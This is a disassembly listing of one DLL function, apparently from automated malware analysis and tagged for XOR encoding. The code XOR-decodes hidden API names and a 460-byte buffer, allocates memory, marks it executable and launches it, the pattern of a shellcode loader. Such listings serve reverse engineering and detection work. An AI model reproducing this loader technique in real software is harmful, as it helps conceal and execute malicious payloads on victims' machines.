Function at 0x1800010d0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rsi
sub rsp, 0x30
xor ecx, ecx
lea r8, [0x180003011]
xor r9d, r9d
lea rsi, [0x180000000]
xor edx, edx
cmp ecx, 0xa
cmovne edx, ecx
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3030]
xor byte [r8 - 1], al
lea eax, [rdx + 1]
cmp edx, 9
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3030]
xor byte [r8], al
lea eax, [rcx + 1]
cmp ecx, 9
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3030]
xor byte [r8 + 1], al
lea eax, [rdx + 1]
cmp edx, 9
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3030]
xor byte [r8 + 2], al
lea eax, [rcx + 1]
cmp ecx, 9
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3030]
xor byte [r8 + 3], al
lea eax, [rdx + 1]
cmp edx, 9
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3030]
xor byte [r8 + 4], al
lea eax, [rcx + 1]
cmp ecx, 9
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3030]
xor byte [r8 + 5], al
lea eax, [rdx + 1]
cmp edx, 9
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3030]
xor byte [r8 + 6], al
lea eax, [rcx + 1]
cmp ecx, 9
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3030]
xor byte [r8 + 7], al
lea eax, [rdx + 1]
cmp edx, 9
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3030]
xor byte [r8 + 8], al
lea eax, [rcx + 1]
cmp ecx, 9
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3030]
xor byte [r8 + 9], al
lea eax, [rdx + 1]
cmp edx, 9
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3030]
add r9d, 0xc
xor byte [r8 + 0xa], al
lea r8, [r8 + 0xc]
inc ecx
cmp r9d, 0xc
jb 0x1800010f2
xor edx, edx
lea rax, [0x180003041]
xor r9d, r9d
nop word [rax + rax]
xor r8d, r8d
cmp edx, 0xd
cmovne r8d, edx
xor edx, edx
movsxd rcx, r8d
movzx ecx, byte [rcx + rsi + 0x3060]
xor byte [rax - 1], cl
lea ecx, [r8 + 1]
cmp r8d, 0xc
cmovne edx, ecx
xor r8d, r8d
movsxd rcx, edx
movzx ecx, byte [rcx + rsi + 0x3060]
xor byte [rax], cl
lea ecx, [rdx + 1]
cmp edx, 0xc
cmovne r8d, ecx
xor edx, edx
movsxd rcx, r8d
movzx ecx, byte [rcx + rsi + 0x3060]
xor byte [rax + 1], cl
lea ecx, [r8 + 1]
cmp r8d, 0xc
cmovne edx, ecx
xor r8d, r8d
movsxd rcx, edx
movzx ecx, byte [rcx + rsi + 0x3060]
xor byte [rax + 2], cl
lea ecx, [rdx + 1]
cmp edx, 0xc
cmovne r8d, ecx
xor edx, edx
movsxd rcx, r8d
movzx ecx, byte [rcx + rsi + 0x3060]
xor byte [rax + 3], cl
lea ecx, [r8 + 1]
cmp r8d, 0xc
cmovne edx, ecx
xor r8d, r8d
movsxd rcx, edx
movzx ecx, byte [rcx + rsi + 0x3060]
xor byte [rax + 4], cl
lea ecx, [rdx + 1]
cmp edx, 0xc
cmovne r8d, ecx
xor edx, edx
movsxd rcx, r8d
movzx ecx, byte [rcx + rsi + 0x3060]
xor byte [rax + 5], cl
lea ecx, [r8 + 1]
cmp r8d, 0xc
cmovne edx, ecx
xor r8d, r8d
movsxd rcx, edx
movzx ecx, byte [rcx + rsi + 0x3060]
xor byte [rax + 6], cl
lea ecx, [rdx + 1]
cmp edx, 0xc
cmovne r8d, ecx
xor edx, edx
movsxd rcx, r8d
movzx ecx, byte [rcx + rsi + 0x3060]
xor byte [rax + 7], cl
lea ecx, [r8 + 1]
cmp r8d, 0xc
cmovne edx, ecx
xor r8d, r8d
movsxd rcx, edx
movzx ecx, byte [rcx + rsi + 0x3060]
xor byte [rax + 8], cl
lea ecx, [rdx + 1]
cmp edx, 0xc
cmovne r8d, ecx
xor edx, edx
movsxd rcx, r8d
movzx ecx, byte [rcx + rsi + 0x3060]
xor byte [rax + 9], cl
lea ecx, [r8 + 1]
cmp r8d, 0xc
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + rsi + 0x3060]
add r9d, 0xc
xor byte [rax + 0xa], cl
lea rax, [rax + 0xc]
inc edx
cmp r9d, 0xc
jb 0x180001250
lea rcx, str.V8____XE__
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x180003040]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov edx, 0x1cc
mov r8d, 0x3000
lea r9d, [rcx + 4]
call rax
xor r9d, r9d
lea r8, [0x180003070]
xor ecx, ecx
mov rbx, rax
nop dword [rax]
nop word [rax + rax]
xor edx, edx
lea r8, [r8 + 1]
cmp rcx, 0xa
cmovne rdx, rcx
inc r9d
movzx ecx, byte [rdx + rsi + 0x3000]
xor byte [r8 - 1], cl
lea rcx, [rdx + 1]
cmp r9d, 0x1cc
jb 0x1800013f0
mov rcx, rbx
call fcn.180001000
xor ecx, ecx
lea r8, [0x180003269]
xor r9d, r9d
nop
xor edx, edx
cmp ecx, 0xf
cmovne edx, ecx
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3050]
xor byte [r8 - 1], al
lea eax, [rdx + 1]
cmp edx, 0xe
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3050]
xor byte [r8], al
lea eax, [rcx + 1]
cmp ecx, 0xe
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3050]
xor byte [r8 + 1], al
lea eax, [rdx + 1]
cmp edx, 0xe
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3050]
xor byte [r8 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0xe
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3050]
xor byte [r8 + 3], al
lea eax, [rdx + 1]
cmp edx, 0xe
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3050]
xor byte [r8 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0xe
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3050]
xor byte [r8 + 5], al
lea eax, [rdx + 1]
cmp edx, 0xe
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3050]
xor byte [r8 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0xe
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3050]
xor byte [r8 + 7], al
lea eax, [rdx + 1]
cmp edx, 0xe
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3050]
xor byte [r8 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0xe
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3050]
xor byte [r8 + 9], al
lea eax, [rdx + 1]
cmp edx, 0xe
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3050]
xor edx, edx
xor byte [r8 + 0xa], al
lea r8, [r8 + 0xe]
cmp ecx, 0xe
lea eax, [rcx + 1]
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3050]
xor byte [r8 - 3], al
lea eax, [rdx + 1]
cmp edx, 0xe
cmovne ecx, eax
add r9d, 0xe
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3050]
xor byte [r8 - 2], al
inc ecx
cmp r9d, 0xe
jb 0x180001430
lea rcx, str.V8____XE__
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x180003268]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], 0
mov edx, 0x1cc
mov r8d, 0x20
mov rcx, rbx
call rax
test eax, eax
je 0x18000178e
xor eax, eax
lea r9, [0x180003021]
xor r10d, r10d
nop word [rax + rax]
xor edx, edx
cmp eax, 8
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3278]
xor byte [r9 - 1], al
lea eax, [rdx + 1]
cmp edx, 7
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3278]
xor byte [r9], al
lea eax, [rcx + 1]
cmp ecx, 7
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3278]
xor byte [r9 + 1], al
lea eax, [rdx + 1]
cmp edx, 7
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3278]
xor byte [r9 + 2], al
lea eax, [rcx + 1]
cmp ecx, 7
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3278]
xor byte [r9 + 3], al
lea eax, [rdx + 1]
cmp edx, 7
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3278]
xor byte [r9 + 4], al
lea eax, [rcx + 1]
cmp ecx, 7
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3278]
xor byte [r9 + 5], al
lea eax, [rdx + 1]
cmp edx, 7
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3278]
xor byte [r9 + 6], al
lea eax, [rcx + 1]
cmp ecx, 7
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3278]
xor byte [r9 + 7], al
lea eax, [rdx + 1]
cmp edx, 7
cmovne ecx, eax
xor r8d, r8d
movsxd rax, ecx
movzx eax, byte [rax + rsi + 0x3278]
xor byte [r9 + 8], al
lea eax, [rcx + 1]
cmp ecx, 7
cmovne r8d, eax
xor edx, edx
movsxd rax, r8d
movzx eax, byte [rax + rsi + 0x3278]
xor byte [r9 + 9], al
lea eax, [r8 + 1]
cmp r8d, 7
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rsi + 0x3278]
add r10d, 0xc
xor byte [r9 + 0xa], al
lea r9, [r9 + 0xc]
lea eax, [rdx + 1]
cmp r10d, 0xc
jb 0x180001600
lea rcx, str.V8____XE__
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.4422
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
mov qword [rsp + 0x28], 0
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call rax
mov qword [0x180003288], rax
mov rbx, qword [rsp + 0x48]
mov eax, 1
add rsp, 0x30
pop rsi
ret